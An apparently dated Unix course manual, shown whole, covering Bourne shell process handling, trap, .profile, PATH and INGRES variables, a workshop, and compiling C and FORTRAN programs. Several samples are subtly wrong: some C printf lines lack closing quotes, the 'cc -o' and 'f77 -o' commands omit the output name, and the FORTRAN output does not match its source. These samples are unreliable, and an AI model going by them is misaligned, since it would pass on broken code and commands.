+ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $ls -l prog2 ³ +³ -rwxr-xr-x 1 teacher class 22 Jan 18 10:30 prog2 ³ +³ $cat prog2 ³ +³ echo 'prog2 PID =' $$ ³ +³ $cat exec_example ³ +³ echo $0 'PID=' $$ ³ +³ exec prog2 ³ +³ echo 'This line is never executed' ³ +³ $exec_example ³ +³ exec_example PID= 6950 ³ +³ prog2 PID = 6950 ³ +³ $ ³ +³ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +Background Processing + +When a program is running in background you do not have to wait for it to finish before +starting another program. This is useful because you can start long/large jobs and then +continue to do another task on your terminal. + +To run a program in background simply type an ampersand character (&) at the end of the +command line before the (Ret) key. The Shell will return the PID of the background process +and then give you another system prompt. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $ls -l | lp & ³ +³ [1] 21334 ³ +³ $request id is mt_600-2736 (standard input) ³ +³ ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +If the background task sends output to standard output and you fail to redirect it, the +output will appear on your terminal even if you are running another program at the time. + +It is necessary to use the kill command to stop a process that is running in background the +(DEL) key or its equivalent will not work. + +Exit Status + +When a process stops executing for any reason, it will return an exit status to the parent +process. This exit status is also referred to as a condition code or return code.The Shell +stores the exit status in a Shell variable called $?. By convention, a non-zero exit status +means that it has a false value and the command failed. On the other hand, a zero status +indicates true and the command was successful. + +It is possible for you to specify the exit status when you exit a script. This is done by +specifying the number to be used as the exit status using the exit command. The following +script is an example: + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cat exit_example ³ +³ echo 'This program returns an exit status' ³ +³ echo 'of 7.' ³ +³ exit 7 ³ +³ $exit_example ³ +³ This program returns an exit status ³ +³ of 7. ³ +³ $echo $? ³ +³ 7 ³ +³ $echo $? ³ +³ 0 ³ +³ $ ³ +³ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +This script will display the message and then exit with an exit code of 7. The exit status +is stored in the Shell variable called $?. The second echo command above displays the exit +status of the first echo command. Since it completed successfully it has a value of zero. + +1.4 Interrupt Handling + + +A signal is a report to a process about a condition. UNIX uses +these signals to report bad system calls, broken pipes, illegal +instructions, and other conditions. There are three signals that +are useful when programming in the Shell. They are the terminal +interrupt signal (number 2), the kill signal (number 9) and the +software termination signal (number 15). + +You can use the trap command to capture a signal and then take +whatever action you specify. It can close files or finish other +processing that needs to be done, display a message, terminate +execution immediately, or ignore the signal. + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: trap ['commands'] signal_numbers º +º º +º See online man pages for details º +º º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The signal_numbers are the numbers corresponding to the signals +that will be trapped by the trap command. There must be at least +one number present. The 'commands' portion of the command is +optional. If it is not present, the command resets the trap to +its initial condition, which is to exit the program. When the +commands is present the Shell executes the commands when it +catches one of the signals. After executing the commands, the +Shell continues executing the script where it left off. + +You can interrupt a program you are running in the foreground by +pressing the Delete key. When you press this key a signal +(number 2), a terminal interrupt, to the program. The Shell will +terminate the execution of the program if the program does not +trap the signal. The following example demonstrates the trap +command that will trap the signal and return an exit status of 1. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cat inter ³ +³ trap 'echo PROGRAM INTERRUPTED; exit 1' 2 ³ +³ while (true) ³ +³ do ³ +³ echo 'Program running' ³ +³ done ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +The first line of inter sets up a trap for signal number 2, the +terminal interrupt. When the signal is caught, the Shell will +execute the commands between the two single quote marks. In this +example, the echo command will display PROGRAM INTERRUPTED. The +exit command will then return control to the Shell and a system +prompt is displayed. If the exit were missing, control would +revert to the while loop after displaying the message. + +You can send a software termination to a background process using +the kill command without a signal number. However, a trap +command can be set to catch this signal (number 15). A kill +signal can be sent to kill a process with a signal number 9 and +the Shell cannot catch a kill signal. + + +The file called .profile + +The BourneShell declares and initializes variables that determine +such things as your home directory, what directories the Shell +will look in when you give commands, how often to look for mail, +your system prompt, and many other things. We will look at some +of these Shell variables and their functions. You can assign new +values to these variables from the command line or by executing +the contents of a file called .profile. The BourneShell executes +the commands in this file in the same environment as the Shell +each time the user logs in. The .profile must be in the user' +home directory. Each user has a different .profile. It usually +specifies the terminal type and establishes terminal +characteristics and other housekeeping functions as required by +the user. + + + +1.5 HOME + +The first BourneShell variable that we will look at is the HOME +variable. By default, the home directory is the current working +directory after you login. The system administrator determines +your home directory when you establish an account and places that +information in the /etc/passwd file. When you login, the +BourneShell gets that pathname and assigns it to the HOME +variable. + +When you enter a cd command with no argument, the utility takes +the name of the directory from the HOME variable and makes it the +current working directory. If you change the HOME variable to +another directory pathname, the utility will make the new +directory the current working directory. + + + + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $echo $HOME ³ +³ /user0/rharding ³ +³ $cd ³ +³ $pwd ³ +³ /user0/rharding ³ +³ $HOME=/user0/rharding/eng ³ +³ $cd ³ +³ $pwd ³ +³ /user0/rharding/eng ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +This example shows how the value of the HOME variable affects the +cd utility. The cd command will use the value of the HOME +variable as the pathname for the current working directory. + + +1.6 PATH + +This BourneShell variable will describe the directories that will +be searched looking for the program that you want to execute. +The BourneShell looks in several directories for a file that has +the same name as the command that you entered. The PATH variable +controls this search path. Normally, the first directory +searched is the current working directory. If the program is not +found, the search continues in the /bin and then the /usr/bin +directory. Generally, these directories contain executable +programs. If the program is not found in one of these +directories, the BourneShell reports that the program can't be +found (or executed). + +The PATH variable lists the pathnames in the order in which the +search will proceed. The pathnames are separated by a colon (:). +If nothing (null string) precedes the colon, that indicates to +start the search at the current working directory. + +Example: +................................................................. +. $PATH=:/user0/rharding/bin:/bin:/usr/bin . +. $ . +................................................................. + +This PATH variable indicates to start the search for the program +at the current working directory, then look in the directory +/user0/rharding/bin, then /bin, and finally /usr/bin. + +If each user has a unique path specified, each user can execute a +different program by giving the same command. The search for the +program stops when it is satisfied; thus, you can use the same +name for your own programs as the standard UNIX utilities. To do +this, simply put your program in one of the first directories +that the BourneShell searches. +1.7 INGRES Environment Variables + + +There are some environment variables that need to be in the +.profile that set up INGRES. The following examples are given as +general guidelines, not actual entries to be made in your +.profile. + + +1.8 ING_HOME + + +This is the INGRES home directory. This variable is valid for +version 5 of INGRES. This variable is set up in the following +manner. + +Example: + +................................................................. +. $ING_HOME=/user5/ingres . +................................................................. + +Notice that this environment variable is all capital letters. +This is a requirement in UNIX. + + + +1.9 TERM_INGRES + + +If this variable is not set, INGRES will use the default terminal +type defined by the TERM variable in UNIX. It is not required +but difficulty in using the main INGRES menu can be experienced +if it is not used. + + +Example: + +................................................................. +. $TERM_INGRES=vt100f . +................................................................. + +1.10 ING_EDIT + + +This variable defines the editor to use any time a user enters a +command that requires the use of an editor. The default is to +use the 'ed' editor. + +Example: + +................................................................. +. $ING_EDIT=/usr/bin/vi . +................................................................. + + + + + + + + + +Workshop 1 + +This workshop will reinforce your understanding of the material +presented in this chapter. Login using the username and the +password given to you by the instructor. Each student is to +complete the entire workshop. + +DESK EXERCISES + + + + 1. What is the name of the file that is executed from your + home directory every time you log in? + + + + + + 2. What does the Shell variable HOME represent? + + + + + + 3. What does the Shell variable PATH represent? + + + + + 4. What is a UNIX process? + + + + + + 5. When a command is given to the Shell it will fork a child + process to execute the command. + + True/False + + + + 6. What is a process identification number (PID)? + + + + + + + + + Continue on the next page + 7. What is the purpose of the trap command? + + + + + +COMPUTER EXERCISES + + + + 8. Logon + + + + + + + 9. What is the PID of your process? + + + + + + 10. Edit the .profile to include your home directory in the + path. + + + + + + 11. Modify the .profile so every time you login a listing of + the files in your current working directory (HOME) is + displayed. + + + + + 12. Send a long listing of all the files in the current + working directory to the default printer and do it it + the background. + + + + + + 13. Logoff + + + NOTES +ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ +2. COMPILING "C" PROGRAMS + +This chapter will examine compiling source code programs in three +high level languages "C", FORTRAN, and COBOL. The second part of +the chapter will look at the archive and library maintainer. The +archive allows you to create a library of object modules. These +files are used by the link editor. + +2.1 "C": Sample Program with a Main and Two Functions in One + File + +Based on the command line options, cc compiles, assembles, and +loads C language source code programs. It can also assemble and +load assembly language source programs or merely load object +programs. + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: cc [options] file-list º +º º +º (See Appendix E for a complete list of options) º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +When using the cc utility, the following conventions are +observed: + + 1. A filename with the extension of .c indicates a C + language source program. + + 2. A filename with an extension of .s indicates an + assembly language source program. + + 3. A filename with an extension of .o indicates an object + program. + + +The cc utility will take its input from the file or files you +specify on the command line. Unless you use the -o option, it +will store the executable program in a file called a.out. +Sample C Language Source Code Program: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cat hello.c ³ +³ main () ³ +³ { ³ +³ printf ("Hello from main!\n\n"); ³ +³ printf ("Calling function1!\n\n"); ³ +³ funct1(); ³ +³ printf ("\t Back from function1!\n\n"); ³ +³ printf ("Calling function2!\n\n"); ³ +³ funct2(); ³ +³ printf ("\t Back from funct2!\n\n"); ³ +³ printf ("That's all!\n\n"); ³ +³ } ³ +³ funct1() ³ +³ { ³ +³ printf ("\t\t Hello from function1!\n\n); ³ +³ } ³ +³ funct2() ³ +³ { ³ +³ printf ("\t\t Hello from function2!\n\n); ³ +³ } ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +2.2 "C": Compiling a Program + +To compile the previous example program into an executable +module, enter the following command at the command line. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cc hello.c ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +Without any options, cc accepts C source code and assembly +language programs that follow the conventions outlined above. It +will compile, assemble, and load these programs to produce an +executable called a.out. The cc utility puts the object code in +files with the same base filename (everything before the period) +as the source but with a filename extension of .o. The a.out +stands for assembly output. This is the default. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cc hello.c ³ +³ $a.out ³ +³ Hello from main! ³ +³ ³ +³ Calling function1! ³ +³ ³ +³ Hello from function1! ³ +³ ³ +³ Back from function1! ³ +³ ³ +³ Calling function2! ³ +³ ³ +³ Hello from function2! ³ +³ ³ +³ Back from function2! ³ +³ ³ +³ That's all! ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +NOTE: The a.out file that was created by the cc utility has + the following permissions: + + user - read, write, and execute + group - read and execute + other - read and execute + +It is not necessary for you to change the permissions using the +chmod command because the cc utility set the execute permissions +for you. + +2.3 "C": Renaming the Executable Module + + +You can rename the executable module using the mv command. The +file permissions will be the same as before the file is renamed. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $mv a.out hello ³ +³ $hello ³ +³ Hello from main! ³ +³ ³ +³ Calling function1! ³ +³ ³ +³ Hello from function1! ³ +³ ³ +³ Back from function1! ³ +³ ³ +³ Calling function2! ³ +³ ³ +³ Hello from function2! ³ +³ ³ +³ Back from function2! ³ +³ ³ +³ That's all! ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +2.4 "C": Giving a Name to the Output File + + +It is possible to have the output sent to a file you specify +instead of a.out by using the following command. + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: cc -o output source º +º º +º output - the name of the executable file º +º º +º source - the name of the C source code file º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The -o option tells cc to tell the link editor to use the +specified name for the output instead of the default a.out. + +NOTE: It is not necessary for the -o option to appear after + the cc command. The filename that appears after the -o + is the name of the output file. For example, cc source + -o output is the same as cc -o output source. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cc -o hello.c ³ +³ $hello ³ +³ Hello from main! ³ +³ Calling function1! ³ +³ ³ +³ Hello from function1! ³ +³ ³ +³ Back from function1! ³ +³ ³ +³ Calling function2! ³ +³ ³ +³ Hello from function2! ³ +³ ³ +³ Back from function2! ³ +³ ³ +³ That's all! ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +2.5 "C": Producing an Assembly Listing + + +This option causes cc to compile C programs and leave the +corresponding assembly language source programs in a file with +filename extensions of .s. + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: cc -S hello.c º +º º +º -S = Compile only º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cc -S hello.c ³ +³ $ls -C ³ +³ example.f hello hex.c octal.c ³ +³ hello.c hello.s multiply.c ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +2.6 "C": Main and Two Functions in Three Separate Source Files + + +This is the same C program that we have seen before, except it is +now in three files rather than one as before. The three files +are main.c, funct1.c, and funct2.c. + + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cat main.c ³ +³ main () ³ +³ { ³ +³ printf ("Hello from main!\n\n"); ³ +³ printf ("Calling function1!\n\n"); ³ +³ funct1(); ³ +³ printf ("\t Back from function1!\n\n"); ³ +³ printf ("Calling function2!\n\n"); ³ +³ funct2(); ³ +³ printf ("\t Back from funct2!\n\n"); ³ +³ printf ("That's all!\n\n"); ³ +³ } ³ +³ $cat funct1.c ³ +³ funct1() ³ +³ { ³ +³ printf ("\t\t Hello from function1!\n\n); ³ +³ } ³ +³ $cat funct2.c ³ +³ funct2() ³ +³ { ³ +³ printf ("\t\t Hello from function2!\n\n); ³ +³ } ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +2.7 "C": Compiling but Not Producing an Executable Module + + +Using the previous program, the following command will compile +but not produce an executable module. + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: cc -c main.c funct1.c funct2.c º +º º +º -c = Compile, but do not load object files. This option º +º causes cc to compile and/or assemble source code º +º programs and leave the corresponding object programs º +º in files with filename extensions of .o. º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cc -c main.c funct1.c funct2.c ³ +³ main.c: ³ +³ funct1.c: ³ +³ funct2.c: ³ +³ $ls a.out ³ +³ a.out not found ³ +³ $ls -C *.o ³ +³ funct1.o funct2.o main.o ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +The -c options causes the compilation system to suppress the link +edit phase. This produces an object file or files, in this +example (main.o funct1.o funct2.o), that can be link edited at a +later time with the cc command with no options. +3. COMPILING FORTRAN PROGRAMS + +3.1 FORTRAN: Sample Program a Main and Two Subroutines + + +There are several conventions for use with the FORTRAN compiler. +They are: + + 1. The name of the file containing the FORTRAN source code + must end with .f. + + 2. The compiler is invoked with f77. + + 3. Several options are available with the compiler. + (-c, -o, -p, -S) + + 4. Preconnections are made for stdin (unit5) and stdout + (unit6). + +This is the FORTRAN source code example to be used in the +following discussions of the FORTRAN compiler. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cat hello.f ³ +³ program calling ³ +³ write(6,100) ³ +³ 100 format (' Hello from main!',/) ³ +³ write(6,110) ³ +³ 110 format(' Calling subroutine1!',/) ³ +³ call sub1 ³ +³ write(6,120) ³ +³ 120 format(t15' Back from subroutine1!',/) ³ +³ write(6,130) ³ +³ 130 format(' Calling subroutine2!',/) ³ +³ call sub2 ³ +³ write(6,140) ³ +³ 140 format(t15' Back from subroutine2!',/) ³ +³ write(6,150) ³ +³ 150 format(' That's all, folks!') ³ +³ end ³ +³ subroutine sub1 ³ +³ write(6,200) ³ +³ 200 format(t20,' Hello from subroutine1!',/) ³ +³ end ³ +³ subroutine sub2 ³ +³ write(6,210) ³ +³ 210 format(t20,' Hello from subroutine2!',/) ³ +³ end ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +3.2 FORTRAN: Compiling a Program + + +The FORTRAN compiler is invoked with the following command: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: f77 º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +To compile the above program into an executable program, use the +following command at the command line. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $f77 hello.f ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +Without any options, f77 accepts FORTRAN source code and assembly +language programs that follow the conventions outlined above. It +will compile, assemble, and load these programs to produce an +executable called a.out. The f77 utility outputs the object code +into files with the same base filename (everything before the +period) as the source but with a filename extension of .o. +The a.out stands for assembly output. This is the default. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $f77 hello.f ³ +³ $a.out ³ +³ Hello from main! ³ +³ ³ +³ Calling function1! ³ +³ ³ +³ Hello from function1! ³ +³ ³ +³ Back from function1! ³ +³ ³ +³ Calling function2! ³ +³ ³ +³ Hello from function2! ³ +³ ³ +³ Back from function2! ³ +³ ³ +³ That's all! ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + +NOTE: The a.out file that was created by the f77 utility has + the following permissions: + + user - read, write, and execute + group - read and execute + other - read and execute + +It is not necessary for you to change the permissions using the +chmod command because the f77 utility set the execute permissions +for you. + + + +3.3 FORTRAN: Renaming the Executable Module + + +You can rename the executable module using the mv command. The +file permissions will be the same as before the file is renamed. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $mv a.out hello ³ +³ $hello ³ +³ Hello from main! ³ +³ ³ +³ Calling function1! ³ +³ ³ +³ Hello from function1! ³ +³ ³ +³ Back from function1! ³ +³ ³ +³ Calling function2! ³ +³ ³ +³ Hello from function2! ³ +³ ³ +³ Back from function2! ³ +³ ³ +³ That's all! ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +3.4 FORTRAN: Giving a Name to the Output File + + +It is possible to have the output sent to a file you specify +instead of the default, a.out, by using the following command. + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: f77 -o output source º +º º +º output - the name of the executable file º +º º +º source - the name of the Fortran source code file º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The -o option tells the f77 utility to tell the link editor to +use the specified name for the output instead of the default +a.out. + +NOTE: It is not necessary for the -o option to appear after + the f77 command. The filename that appears after the - + o is the name of the output file. For example, f77 + source -o output is the same as f77 -o output source. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $f77 -o hello.f ³ +³ $hello ³ +³ Hello from main! ³ +³ Calling function1! ³ +³ ³ +³ Hello from function1! ³ +³ ³ +³ Back from function1! ³ +³ ³ +³ Calling function2! ³ +³ ³ +³ Hello from function2! ³ +³ ³ +³ Back from function2! ³ +³ ³ +³ That's all! ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +3.5 FORTRAN: Producing an Assembly Listing + + +This option causes f77 to compile Fortran programs and leave the +corresponding assembly language source programs in a file with +filename extensions of .s. + 